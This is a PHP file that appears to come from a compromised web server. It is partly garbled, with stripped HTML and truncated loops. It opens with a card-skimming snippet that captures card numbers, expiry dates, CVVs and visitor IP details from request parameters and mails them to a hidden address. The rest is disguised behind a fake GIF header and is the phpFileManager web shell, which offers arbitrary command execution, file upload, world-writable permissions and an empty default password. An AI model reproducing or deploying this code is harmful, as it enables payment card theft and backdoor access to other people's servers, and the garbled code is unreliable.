include("config.php") $cc=$_GET['ccn'];$date=$_GET['exm']."/".$_GET['exy'];$cvv=$_GET['cvv'];$ip=getenv("REMOTE_ADDR");$host=gethostbyaddr(getenv("REMOTE_ADDR"));$msg = "--------------------- Bismillah ----------------------\nCC_N : $cc\nDATE : $date\nCVV2 : $cvv\n------------------------------------------------------\nIPv4 : $ip\nHOST : $host\nUSAG : ".$_SERVER["HTTP_USER_AGENT"]."\n------------------- Al-Hamdolillah -------------------\nALLAH YJIB Tissir";$sbj = "VBV $ip [CC] | $cvv | $cc";$frm = "From: VBV
";mail($ana,$sbj,$msg,$frm);print "
GIF;89!
//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e9800998ecf8427e";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:0:"";s:17:"cookie_cache_time";i:1096733048;s:7:"version";s:5:"0.9.3";}
/*--------------------------------------------------
| PHP FILE MANAGER
+--------------------------------------------------
| phpFileManager 0.9.3
| By Fabrício Seger Kolling
| Copyright (c) 2004 Fabrício Seger Kolling
| E-mail: dulldusk@nho.com.br
| URL: http://phpfm.sf.net
| Last Changed: 2004-09-02
+--------------------------------------------------
| OPEN SOURCE CONTRIBUTIONS
+--------------------------------------------------
| TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
| By Devin Doucette
| Copyright (c) 2004 Devin Doucette
| E-mail: darksnoopy@shaw.ca
| URL: http://www.phpclasses.org
+--------------------------------------------------
| It is the AUTHOR'S REQUEST that you keep intact the above header information
| and notify him if you conceive BUGFIXES or any IMPROVEMENTS to this program.
+--------------------------------------------------
| LICENCE - GPL [ GNU General Public License ]
+--------------------------------------------------
| This program is FREE SOFTWARE; you can REDISTRIBUTE it and/or MODIFY
| it under the terms of the GNU General Public License as published by
| the Free Software Foundation; either version 2 of the License, or
| (at your option) any later version.
| This program is distributed in the hope that it will be useful,
| but WITHOUT ANY WARRANTY; without even the implied warranty of
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
| GNU General Public License for more details.
| You should have gotten a copy of the GPL license with this program.
| If not, it can found at http://www.gnu.org/copyleft/gpl.html
+--------------------------------------------------
| CONFIGURATION AND INSTALATION NOTES
+--------------------------------------------------
| This program does not include any instalation or configuration
| notes because it simply does not require them.
| Just throw this file anywhere in your webserver and enjoy !!
+--------------------------------------------------
*/
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------
header("Pragma: no-cache");
header("Cache-Control: no-store");
foreach ($_GET as $key => $val) $$key=htmldecode($val);
foreach ($_POST as $key => $val) $$key=htmldecode($val);
foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);
if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["REMOTE_ADDR"]; //nao usa proxy
else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa proxy
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$url_info = parse_url($_SERVER["HTTP_REFERER"]);
$doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"] : ucfirst($_SERVER["DOCUMENT_ROOT"]);
$script_filename = $doc_root.$_SERVER["PHP_SELF"];
$path_info = pathinfo($script_filename);
// +--------------------------------------------------
// | Config
// +--------------------------------------------------
$cfg = new config();
$cfg->load();
ini_set("display_errors",1);
ini_set("error_reporting",$error_reporting);
if (!isset($dir_atual)){
$dir_atual = $path_info["dirname"]."/";
if (!$islinux) $dir_atual = ucfirst($dir_atual);
@chmod($dir_atual,0777);
} else $dir_atual = formatpath($dir_atual);
$is_reachable = (stristr($dir_atual,$doc_root)!==false);
// Auto Expand Local Path
if (!isset($expanded_dir_list)){
$expanded_dir_list = "";
$mat = explode("/",$path_info["dirname"]);
for ($x=0;$x$color){
$fm_color[$tag]=strtolower($color);
}
// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------
if ($loggedon==$auth_pass){
switch ($frame){
case 1: break; // Empty Frame
case 2: frame2(); break;
case 3: frame3(); break;
default:
switch($action){
case 1: logout(); break;
case 2: config_form(); break;
case 3: download(); break;
case 4: view(); break;
case 5: server_info(); break;
case 6: execute(); break;
case 7: edit_file_form(); break;
case 8: chmod_form(); break;
case 9: shell_form(); break;
case 10: upload_form(); break;
default: frameset();
}
}
} else {
if (isset($senha)) login();
else form_login();
}
// +--------------------------------------------------
// | Config Class
// +--------------------------------------------------
class config {
var $data;
var $filename;
function config(){
global $script_filename;
$this->data = array(
'lang'=>'en',
'auth_pass'=>md5(''),
'quota_mb'=>0,
'upload_ext_filter'=>array(),
'download_ext_filter'=>array(),
'error_reporting'=>'',
'fm_root'=>'',
'cookie_cache_time'=>time()+60*60*24*30, // 30 Dias
'version'=>'0.9.3'
);
$data = false;
$this->filename = $script_filename;
if (file_exists($this->filename)){
$mat = file($this->filename);
$objdata = trim(substr($mat[1],2));
if (strlen($objdata)) $data = unserialize($objdata);
}
if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
else $this->save();
}
function save(){
$objdata = "".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
if (strlen($objdata)){
if (file_exists($this->filename)){
$mat = file($this->filename);
if ($fh = @fopen($this->filename, "w")){
@fputs($fh,$objdata,strlen($objdata));
for ($x=2;$xdata as $key => $val) $GLOBALS[$key] = $val;
}
}
// +--------------------------------------------------
// | Internationalization
// +--------------------------------------------------
function et($tag){
global $lang;
// English
$en['Version'] = 'Version';
$en['DocRoot'] = 'Document Root';
$en['FLRoot'] = 'File Manager Root';
$en['Name'] = 'Name';
$en['And'] = 'and';
$en['Enter'] = 'Enter';
$en['Send'] = 'Send';
$en['Refresh'] = 'Refresh';
$en['SaveConfig'] = 'Save Configurations';
$en['SavePass'] = 'Save Password';
$en['SaveFile'] = 'Save File';
$en['Save'] = 'Save';
$en['Leave'] = 'Leave';
$en['Edit'] = 'Edit';
$en['View'] = 'View';
$en['Config'] = 'Config';
$en['Ren'] = 'Rename';
$en['Rem'] = 'Delete';
$en['Compress'] = 'Compress';
$en['Decompress'] = 'Decompress';
$en['ResolveIDs'] = 'Resolve IDs';
$en['Move'] = 'Move';
$en['Copy'] = 'Copy';
$en['ServerInfo'] = 'Server Info';
$en['CreateDir'] = 'Create Directory';
$en['CreateArq'] = 'Create File';
$en['ExecCmd'] = 'Execute Command';
$en['Upload'] = 'Upload';
$en['UploadEnd'] = 'Upload Finished';
$en['Perms'] = 'Permissions';
$en['Owner'] = 'Owner';
$en['Group'] = 'Group';
$en['Other'] = 'Other';
$en['Size'] = 'Size';
$en['Date'] = 'Date';
$en['Type'] = 'Type';
$en['Free'] = 'free';
$en['Shell'] = 'Shell';
$en['Read'] = 'Read';
$en['Write'] = 'Write';
$en['Exec'] = 'Execute';
$en['Apply'] = 'Apply';
$en['StickyBit'] = 'Sticky Bit';
$en['Pass'] = 'Password';
$en['Lang'] = 'Language';
$en['File'] = 'File';
$en['File_s'] = 'file(s)';
$en['Dir_s'] = 'directory(s)';
$en['To'] = 'to';
$en['Destination'] = 'Destination';
$en['Configurations'] = 'Configurations';
$en['JSError'] = 'JavaScript Error';
$en['NoSel'] = 'There are no selected itens';
$en['SelDir'] = 'Select the destination directory on the left tree';
$en['TypeDir'] = 'Enter the directory name';
$en['TypeArq'] = 'Enter the file name';
$en['TypeCmd'] = 'Enter the command';
$en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
$en['RemSel'] = 'DELETE selected itens';
$en['NoDestDir'] = 'There is no selected destination directory';
$en['DestEqOrig'] = 'Origin and destination directories are equal';
$en['InvalidDest'] = 'Destination directory is invalid';
$en['NoNewPerm'] = 'New permission not set';
$en['CopyTo'] = 'COPY to';
$en['MoveTo'] = 'MOVE to';
$en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
$en['ConfExec'] = 'Confirm EXECUTE';
$en['ConfRem'] = 'Confirm DELETE';
$en['EmptyDir'] = 'Empty directory';
$en['IOError'] = 'I/O Error';
$en['FileMan'] = 'PHP File Manager';
$en['TypePass'] = 'Enter the password';
$en['InvPass'] = 'Invalid Password';
$en['ReadDenied'] = 'Read Access Denied';
$en['FileNotFound'] = 'File not found';
$en['AutoClose'] = 'Close on Complete';
$en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
$en['NoCmd'] = 'Error: Command not informed';
$en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
$en['ConfSaved'] = 'Configurations saved';
$en['PassSaved'] = 'Password saved';
$en['FileDirExists'] = 'File or directory already exists';
$en['NoPhpinfo'] = 'Function phpinfo disabled';
$en['NoReturn'] = 'no return';
$en['FileSent'] = 'File sent';
$en['SpaceLimReached'] = 'Space limit reached';
$en['InvExt'] = 'Invalid extension';
$en['FileNoOverw'] = 'File could not be overwritten';
$en['FileOverw'] = 'File overwritten';
$en['FileIgnored'] = 'File ignored';
$en['ChkVer'] = 'Check sf.net for new version';
$en['ChkVerAvailable'] = 'New version, click here to begin download!!';
$en['ChkVerNotAvailable'] = 'No new version available. :(';
$en['ChkVerError'] = 'Connection Error.';
$en['Website'] = 'Website';
$en['SendingForm'] = 'Sending files, please wait';
$en['NoFileSel'] = 'No file selected';
$en['SelAll'] = 'All';
$en['SelNone'] = 'None';
$en['SelInverse'] = 'Inverse';
$en['Selected_s'] = 'selected';
$en['Total'] = 'total';
$en['Partition'] = 'Partition';
$en['RenderTime'] = 'Time to render this page';
$en['Seconds'] = 'sec';
$en['ErrorReport'] = 'Error Reporting';
// Portuguese
$pt['Version'] = 'Versão';
$pt['DocRoot'] = 'Document Root';
$pt['FLRoot'] = 'File Manager Root';
$pt['Name'] = 'Nome';
$pt['And'] = 'e';
$pt['Enter'] = 'Entrar';
$pt['Send'] = 'Enviar';
$pt['Refresh'] = 'Atualizar';
$pt['SaveConfig'] = 'Salvar Configurações';
$pt['SavePass'] = 'Salvar Senha';
$pt['SaveFile'] = 'Salvar Arquivo';
$pt['Save'] = 'Salvar';
$pt['Leave'] = 'Sair';
$pt['Edit'] = 'Editar';
$pt['View'] = 'Visualizar';
$pt['Config'] = 'Config';
$pt['Ren'] = 'Renomear';
$pt['Rem'] = 'Apagar';
$pt['Compress'] = 'Compactar';
$pt['Decompress'] = 'Descompactar';
$pt['ResolveIDs'] = 'Resolver IDs';
$pt['Move'] = 'Mover';
$pt['Copy'] = 'Copiar';
$pt['ServerInfo'] = 'Server Info';
$pt['CreateDir'] = 'Criar Diretório';
$pt['CreateArq'] = 'Criar Arquivo';
$pt['ExecCmd'] = 'Executar Comando';
$pt['Upload'] = 'Upload';
$pt['UploadEnd'] = 'Upload Terminado';
$pt['Perms'] = 'Permissões';
$pt['Owner'] = 'Dono';
$pt['Group'] = 'Grupo';
$pt['Other'] = 'Outros';
$pt['Size'] = 'Tamanho';
$pt['Date'] = 'Data';
$pt['Type'] = 'Tipo';
$pt['Free'] = 'livre';
$pt['Shell'] = 'Shell';
$pt['Read'] = 'Ler';
$pt['Write'] = 'Escrever';
$pt['Exec'] = 'Executar';
$pt['Apply'] = 'Aplicar';
$pt['StickyBit'] = 'Sticky Bit';
$pt['Pass'] = 'Senha';
$pt['Lang'] = 'Idioma';
$pt['File'] = 'Arquivo';
$pt['File_s'] = 'arquivo(s)';
$pt['Dir_s'] = 'diretorio(s)';
$pt['To'] = 'para';
$pt['Destination'] = 'Destino';
$pt['Configurations'] = 'Configurações';
$pt['JSError'] = 'Erro de JavaScript';
$pt['NoSel'] = 'Não há itens selecionados';
$pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda';
$pt['TypeDir'] = 'Digite o nome do diretório';
$pt['TypeArq'] = 'Digite o nome do arquivo';
$pt['TypeCmd'] = 'Digite o commando';
$pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
$pt['RemSel'] = 'APAGAR itens selecionados';
$pt['NoDestDir'] = 'Não há um diretório de destino selecionado';
$pt['DestEqOrig'] = 'Diretório de origem e destino iguais';
$pt['InvalidDest'] = 'Diretório de destino inválido';
$pt['NoNewPerm'] = 'Nova permissão não foi setada';
$pt['CopyTo'] = 'COPIAR para';
$pt['MoveTo'] = 'MOVER para';
$pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para';
$pt['ConfExec'] = 'Confirma EXECUTAR';
$pt['ConfRem'] = 'Confirma APAGAR';
$pt['EmptyDir'] = 'Diretório vazio';
$pt['IOError'] = 'Erro de E/S';
$pt['FileMan'] = 'PHP File Manager';
$pt['TypePass'] = 'Digite a senha';
$pt['InvPass'] = 'Senha Inválida';
$pt['ReadDenied'] = 'Acesso de leitura negado';
$pt['FileNotFound'] = 'Arquivo não encontrado';
$pt['AutoClose'] = 'Fechar Automaticamente';
$pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT';
$pt['NoCmd'] = 'Erro: Comando não informado';
$pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo';
$pt['ConfSaved'] = 'Configurações salvas';
$pt['PassSaved'] = 'Senha salva';
$pt['FileDirExists'] = 'Arquivo ou diretório já existe';
$pt['NoPhpinfo'] = 'Função phpinfo desabilitada';
$pt['NoReturn'] = 'sem retorno';
$pt['FileSent'] = 'Arquivo enviado';
$pt['SpaceLimReached'] = 'Limite de espaço alcançado';
$pt['InvExt'] = 'Extensão inválida';
$pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito';
$pt['FileOverw'] = 'Arquivo sobreescrito';
$pt['FileIgnored'] = 'Arquivo omitido';
$pt['ChkVer'] = 'Verificar sf.net por nova versão';
$pt['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!';
$pt['ChkVerNotAvailable'] = 'Não há nova versão disponível :(';
$pt['ChkVerError'] = 'Erro de conexão.';
$pt['Website'] = 'Website';
$pt['SendingForm'] = 'Enviando arquivos, aguarde';
$pt['NoFileSel'] = 'Nenhum arquivo selecionado';
$pt['SelAll'] = 'Tudo';
$pt['SelNone'] = 'Nada';
$pt['SelInverse'] = 'Inverso';
$pt['Selected_s'] = 'selecionado(s)';
$pt['Total'] = 'total';
$pt['Partition'] = 'Partição';
$pt['RenderTime'] = 'Tempo para gerar esta página';
$pt['Seconds'] = 'seg';
$pt['ErrorReport'] = 'Error Reporting';
$lang_ = $$lang;
if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);
else return "undefined";
}
// +--------------------------------------------------
// | File System
// +--------------------------------------------------
function total_size($arg) {
$total = 0;
if (file_exists($arg)) {
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
}
closedir($handle);
} else $total = filesize($arg);
}
return $total;
}
function total_delete($arg) {
if (file_exists($arg)) {
chmod($arg,0777);
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
}
closedir($handle);
rmdir($arg);
} else unlink($arg);
}
}
function total_copy($orig,$dest) {
$ok = true;
if (file_exists($orig)) {
if (is_dir($orig)) {
mkdir($dest,0777);
$handle = opendir($orig);
while(($aux = readdir($handle))&&($ok)) {
if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
}
closedir($handle);
} else $ok = copy((string)$orig,(string)$dest);
}
return $ok;
}
function total_move($orig,$dest) {
// Just why doesn't it has a MOVE alias?!
return rename((string)$orig,(string)$dest);
}
function download(){
global $dir_atual,$filename;
$file = $dir_atual.$filename;
if(file_exists($file)){
$is_proibido = false;
foreach($download_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
$size = filesize($file);
header("Content-Type: application/save");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Transfer-Encoding: binary");
if ($fh = fopen("$file", "rb")){
fpassthru($fh);
fclose($fh);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('FileNotFound').": ".$file);
}
function execute(){
global $cmd;
header("Content-type: text/plain");
if (strlen($cmd)){
echo "# ".$cmd."\n";
exec($cmd,$mat);
if (count($mat)) echo trim(implode("\n",$mat));
else echo "exec(\"$cmd\") ".et('NoReturn')."...";
} else echo et('NoCmd');
}
function save_upload($temp_file,$filename,$dir_dest) {
global $upload_ext_filter;
$filename = remove_acentos($filename);
$file = $dir_dest.$filename;
$filesize = filesize($temp_file);
$is_proibido = false;
foreach($upload_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
if (!limite($filesize)){
if (file_exists($file)){
if (unlink($file)){
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 6;
} else $out = 2;
} else $out = 5;
} else {
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 1;
} else $out = 2;
}
} else $out = 3;
} else $out = 4;
return $out;
}
function zip_extract(){
global $cmd_arg,$dir_atual,$islinux;
$zip = zip_open($dir_atual.$cmd_arg);
if ($zip) {
while ($zip_entry = zip_read($zip)) {
if (zip_entry_filesize($zip_entry)) {
$complete_path = $path.dirname(zip_entry_name($zip_entry));
$complete_name = $path.zip_entry_name($zip_entry);
if(!file_exists($complete_path)) {
$tmp = '';
foreach(explode('/',$complete_path) AS $k) {
$tmp .= $k.'/';
if(!file_exists($tmp)) {
@mkdir($dir_atual.$tmp, 0777);
}
}
}
if (zip_entry_open($zip, $zip_entry, "r")) {
if ($fd = fopen($dir_atual.$complete_name, 'w')){
fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
fclose($fd);
} else echo "fopen($dir_atual.$complete_name) error
";
zip_entry_close($zip_entry);
} else echo "zip_entry_open($zip,$zip_entry) error
";
}
}
zip_close($zip);
}
}
// +--------------------------------------------------
// | Data Formating
// +--------------------------------------------------
function htmlencode($str){
return htmlentities($str);
}
// html_entity_decode() replacement
function html_entity_decode_for_php4_compatibility ($string) {
$trans_tbl = get_html_translation_table (HTML_ENTITIES);
$trans_tbl = array_flip ($trans_tbl);
$ret = strtr ($string, $trans_tbl);
return preg_replace('/\&\#([0-9]+)\;/me',
"chr('\\1')",$ret);
}
function htmldecode($str){
if (is_string($str)){
if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));
else return html_entity_decode($str);
} else return $str;
}
function rep($x,$y){
if ($x) {
$aux = "";
for ($a=1;$a<=$x;$a++) $aux .= $y;
return $aux;
} else return "";
}
function strzero($arg1,$arg2){
if (strstr($arg1,"-") == false){
$aux = intval($arg2) - strlen($arg1);
if ($aux) return rep($aux,"0").$arg1;
else return $arg1;
} else {
return "[$arg1]";
}
}
function replace_double($sub,$str){
$out=str_replace($sub.$sub,$sub,$str);
while ( strlen($out) != strlen($str) ){
$str=$out;
$out=str_replace($sub.$sub,$sub,$str);
}
return $out;
}
function remove_acentos($str){
$str = trim($str);
$str = strtr($str,"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
return $str;
}
function formatpath($str){
global $islinux;
$str = trim($str);
$str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
$done = false;
while (!$done) {
$str2 = str_replace("//","/",$str);
if (strlen($str) == strlen($str2)) $done = true;
else $str = $str2;
}
$tam = strlen($str);
if ($tam){
$last_char = $tam - 1;
if ($str[$last_char] != "/") $str .= "/";
if (!$islinux) $str = ucfirst($str);
}
return $str;
}
function array_csort() {
$args = func_get_args();
$marray = array_shift($args);
$msortline = "return(array_multisort(";
foreach ($args as $arg) {
$i++;
if (is_string($arg)) {
foreach ($marray as $row) {
$sortarr[$i][] = $row[$arg];
}
} else {
$sortarr[$i] = $arg;
}
$msortline .= "\$sortarr[".$i."],";
}
$msortline .= "\$marray));";
eval($msortline);
return $marray;
}
function show_perms( $in_Perms ) {
$sP = "";
if($in_Perms & 0x1000) $sP .= 'p'; // FIFO pipe
elseif($in_Perms & 0x2000) $sP .= 'c'; // Character special
elseif($in_Perms & 0x4000) $sP .= 'd'; // Directory
elseif($in_Perms & 0x6000) $sP .= 'b'; // Block special
elseif($in_Perms & 0x8000) $sP .= '−'; // Regular
elseif($in_Perms & 0xA000) $sP .= 'l'; // Symbolic Link
elseif($in_Perms & 0xC000) $sP .= 's'; // Socket
else $sP .= 'u'; // UNKNOWN
$sP .= "";
// owner - group - others
$sP .= (($in_Perms & 0x0100) ? 'r' : '−') . (($in_Perms & 0x0080) ? 'w' : '−') . (($in_Perms & 0x0040) ? (($in_Perms & 0x0800) ? 's' : 'x' ) : (($in_Perms & 0x0800) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0020) ? 'r' : '−') . (($in_Perms & 0x0010) ? 'w' : '−') . (($in_Perms & 0x0008) ? (($in_Perms & 0x0400) ? 's' : 'x' ) : (($in_Perms & 0x0400) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0004) ? 'r' : '−') . (($in_Perms & 0x0002) ? 'w' : '−') . (($in_Perms & 0x0001) ? (($in_Perms & 0x0200) ? 't' : 'x' ) : (($in_Perms & 0x0200) ? 'T' : '−'));
return $sP;
}
function formatsize($arg) {
if ($arg>0){
$j = 0;
$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
while ($arg >= pow(1024,$j)) ++$j;
return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
} else return "0 Mb";
}
function getsize($file) {
return formatsize(filesize($file));
}
function limite($new_filesize=0) {
global $fm_root_atual;
global $quota_mb;
if($quota_mb){
$total = total_size($fm_root_atual);
if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
}
return false;
}
function getuser ($arg) {
global $mat_passwd;
$aux = "x:".trim($arg).":";
for($x=0;$x
...:::: ".et('FileMan')."
$plus
";
}
function reloadframe($ref,$frame_number,$plus=""){
global $dir_atual,$path_info;
echo "
";
}
function alert($arg){
echo "
";
}
function tree($dir_antes,$dir_corrente,$indice){
global $fm_root_atual, $dir_atual, $islinux;
global $expanded_dir_list;
$indice++;
$num_dir = 0;
$dir_name = str_replace($dir_antes,"",$dir_corrente);
$dir_corrente = str_replace("//","/",$dir_corrente);
$is_proibido = false;
if ($islinux) {
$proibidos = "/proc#/dev";
$mat = explode("#",$proibidos);
foreach($mat as $key => $val){
if ($dir_corrente == $val){
$is_proibido = true;
break;
}
}
unset($mat);
}
if (!$is_proibido){
if ($handle = @opendir($dir_corrente)){
// Permitido
while ($file = readdir($handle)){
if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file"))
$mat_dir[] = $file;
}
closedir($handle);
if (count($mat_dir)){
sort($mat_dir,SORT_STRING);
// Com Sub-dir
if ($indice != 0){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
}
if ($dir_antes != $dir_corrente){
if (strstr($expanded_dir_list,":$dir_corrente/$dir_name")) $op_str = "[–]";
else $op_str = "[+]";
echo " $op_str $dir_name
\n";
} else {
echo "$fm_root_atual
\n";
}
for ($x=0;$x $dir_name
\n";
} else {
echo " $fm_root_atual
\n";
}
}
} else {
// Negado
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
echo " $dir_name
\n";
} else {
echo " $fm_root_atual
\n";
}
}
} else {
// Proibido
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
echo " $dir_name
\n";
} else {
echo " $fm_root_atual
\n";
}
}
}
function show_tree(){
global $fm_root_atual,$path_info,$setflag,$islinux;
html_header();
echo "\n";
echo "
";
echo "\n";
echo "";
//if (!$islinux) $aux=substr($fm_root_atual,0,strlen($fm_root_atual)-1);
//else
$aux=$fm_root_atual;
echo "| ";
clearstatcache();
tree($aux,$aux,-1,0);
echo " |
";
echo "
";
echo "
\n";
echo "\n